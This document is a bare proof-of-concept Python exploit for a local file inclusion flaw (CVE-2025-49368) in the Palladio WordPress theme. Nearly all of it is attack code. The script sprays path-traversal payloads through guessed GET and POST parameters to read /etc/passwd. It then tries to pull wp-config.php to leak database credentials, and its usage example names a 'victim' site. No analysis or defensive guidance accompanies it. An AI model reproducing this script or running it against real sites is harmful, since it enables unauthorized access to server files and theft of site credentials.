CVE-2025-49368 - Palladio主题本地文件包含漏洞

# CVE-2025-49368 PoC - Palladio Theme Local File Inclusion # Affected: AncoraThemes Palladio WordPress Theme <= 1.1.10 # CVSS: 8.1 (High) import requests import sys from urllib.parse import quote def test_lfi(target_url, filename='/etc/passwd'): """Test for Local File Inclusion vulnerability""" # Common LFI parameters in WordPress themes lfi_params = ['file', 'page', 'template', 'view', 'include', 'load'] # Path traversal payloads payloads = [ f'../../../../../../../../{filename}', f'../../../../../../../../../../{filename}', f'....//....//....//....//....//{filename}', f'/etc/passwd', ] print(f"[*] Testing target: {target_url}") print(f"[*] Target file: {filename}") for param in lfi_params: for payload in payloads: try: # Test both GET and POST methods for method in ['GET', 'POST']: if method == 'GET': url = f"{target_url}?{param}={quote(payload)}" response = requests.get(url, timeout=10) else: response = requests.post(target_url, data={param: payload}, timeout=10) # Check for successful file inclusion if response.status_code == 200: if 'root:' in response.text or 'nobody:' in response.text: print(f"[+] VULNERABLE! Parameter: {param}") print(f"[+] Payload: {payload}") print(f"[+] Response length: {len(response.text)}") return True elif 'wp-config.php' in filename and 'DB_NAME' in response.text: print(f"[+] VULNERABLE! Database config leaked") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") print("[-] No vulnerability detected") return False def read_wp_config(target_url): """Attempt to read wp-config.php""" print("\n[*] Attempting to read wp-config.php...") lfi_params = ['file', 'page', 'template'] for param in lfi_params: payload = '../../wp-config.php' try: url = f"{target_url}?{param}={quote(payload)}" response = requests.get(url, timeout=10) if 'DB_NAME' in response.text or 'DB_USER' in response.text: print("[+] Successfully read wp-config.php!") return response.text except: continue return None if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2025-49368-poc.py <target_url>") print("Example: python cve-2025-49368-poc.py http://victim.com/wp-content/themes/palladio/") sys.exit(1) target = sys.argv[1].rstrip('/') # Test for LFI vulnerability test_lfi(target) # Attempt to read sensitive files read_wp_config(target)